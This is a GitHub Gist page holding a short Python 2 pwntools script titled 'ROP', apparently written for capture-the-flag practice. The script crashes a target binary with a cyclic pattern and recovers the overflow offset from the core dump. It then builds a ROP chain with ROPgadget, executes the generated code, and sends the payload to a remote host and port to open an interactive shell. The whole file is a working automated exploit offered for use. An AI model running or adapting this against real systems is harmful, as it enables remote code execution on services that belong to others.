Last active
July 27, 2022 19:05
-
-
Save karimmuya/5f3cd612ce6424a6c0c7ac246e5167b0 to your computer and use it in GitHub Desktop.
ROP
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python2 | |
from pwn import * | |
from subprocess import Popen, PIPE | |
import sys | |
context.log_level = "DEBUG" | |
if len(sys.argv) != 4: | |
print("usage{}[BINARY] [HOST][PORT]".format(sys.argv[0])) | |
exit(0) | |
context.binary = sys.argv[1] | |
port = sys.argv[3] | |
host = sys.argv[2] | |
t = process(context.binary.path) | |
# payload=cyclic() | |
t.sendline(cyclic(1024)) | |
t.wait() | |
t.close() | |
core = Coredump("./core") | |
off = cyclic_find(core.fault_addr) | |
log.info("offset found:{}".format(off)) | |
stdout = Popen(["ROPgadget", "--ropchain", "--binary", | |
context.binary.path], stdout=PIPE).communicate()[0] | |
stdout = stdout.decode("utf-8") | |
print(stdout) | |
pycode = stdout[stdout.find("#!"):].replace("\t", "") | |
exec(pycode) | |
ropchain = p | |
log.info("{}".format(ropchain)) | |
# t=process(context.binary.path) | |
t = remote(host, port) | |
t.sendline(fit({off: ropchain})) | |
t.interactive() | |
t.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment